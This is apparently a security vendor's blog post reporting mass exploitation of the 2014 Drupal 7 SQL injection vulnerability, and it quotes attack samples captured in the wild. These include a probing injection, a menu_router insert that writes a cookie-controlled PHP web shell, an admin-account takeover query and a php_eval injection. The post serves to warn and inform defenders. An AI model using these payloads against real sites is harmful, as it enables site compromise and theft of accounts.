Drupal SQL Injection Attempts in the Wild

Update (2014/10/29): The Drupal team just released a Public Service Announcement, confirming what we are seeing (mass compromise of Drupal sites). We’ve released a new post with recovery information and a guide to cleaning Drupal hacks if you did not update in time.

This quote directly from the Drupal team sums it all up:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

Original Post:
Less than 48 hours ago, the Drupal team released an update (version 7.32) for a serious security vulnerability (SQL injection) that affected all versions of Drupal 7.x.

Our last post shared some thoughts on the issue, specifically concerns around how simple a vulnerability it was to exploit and how time was the only delay in seeing wide spread attacks. Being that Drupal is one of the most popular platforms dominating the CMS space today (along with WordPress and Joomla), it only makes sense, that attackers will try to leverage it.

When the a simple vulnerability is introduced that has massive impact, it’s unfortunately a recipe for disaster.

Attacks in the Wild

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt. The same IP also tried to attack our own site.

Sample attack:

POST /?q=node&destination=node HTTP/1.1" 403 4123 "sucuri.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" 
Payload:
name [0%20and%20extractvalue(1, concat(0x5c, (select md5(1122) from 
information_schema.tables limit 1)));%23%20%20]=removed&name[0]=removed&pass=removed&
removed=removed&form_build_id=&form_id=user_login_block&op=Log+in

This initial attempt wasn’t that malicious, seems more like it was a test to see if we were vulnerable (or maybe testing their tools). Decoding the SQLi attack, you find they are doing a SELECT md5() from the information_schema.tables.

A few hours later the real attacks began, attempting to mass compromise Drupal-based websites. The more common attack tries to inject a backdoor into Drupal’s menu_router with the following query:

name=x22name[0; INSERT INTO `menu_router` (`path`, `load_functions`, 
`to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('removed', 
'', '', 'removed', 'file_put_contents', 0x613a323a7b693a303b733a32343a226d6f64756c657f6.....6870696e666f28293b223b7d);;#  ]

It runs the INSERT query into the menu_router, passing a call to file_put_contents to insert the following file:

a:2:{i:0;s:24:"modules/trigger/XXX-removed.php";i:1;s:14:"<?php $form1=@$_COOKIE["removed"]; 
if ($form1){ $opt=$form1(@$_COOKIE["removed"]); $au=$form1(@$_COOKIE["removed"]); 
$opt("/16/e",$au,16); } phpinfo();";}

Once inserted it provides the attacker full shell access to the hacked site (all commands passing via cookies). That has our team very worried that we might see a massive compromise of Drupal sites that have not updated yet.

Other attacks include attempts to list all users passwords:

name[0%20and%20extractvalue(1, concat(0x5c, (select
+md5(1016)+from+users+limit+0,1)));%23%20%20]=test3&name[0]=test&pass=shit2&test2=test

Some attempts to inject content into menu_router:

form_id=user_login&name[a;%0aTRUNCATE+TABLE+cache_bootstrap
%3BUPDATE+menu_router+SET+access_arguments%3D0x613a313a7b733a348355...
access_callback%3D0x7068705f6576616c+WHERE+path%3D0x75736572%3B
UPDATE+system+SET+status+%3D+1+WHERE+name+%3D+0x706870%3BINSERT+
INTO+registry_file+%28filename%2Chash%29+VALUES+%280x6d6f64756c6..
3964333763396331616263%29%3B%23]=yo&name[a]=heh&op=Log+in&pass=bb

Some attempts to inject a new admin user:

name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'%24S%24CTo9G7L...3a3g'+
where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&
form_id=user_login_block&op=Log+in"

All attempts sharing a similar trait, they are very serious attacks. The bad news is that we are seeing many Drupal sites still not updated against this vulnerability. As we said before, sites behind our Website Firewall are protected against this issue, so if you are concerned about exploits, you can give it a try.

We are actively monitoring the issue and we will keep pushing updates as we learn more.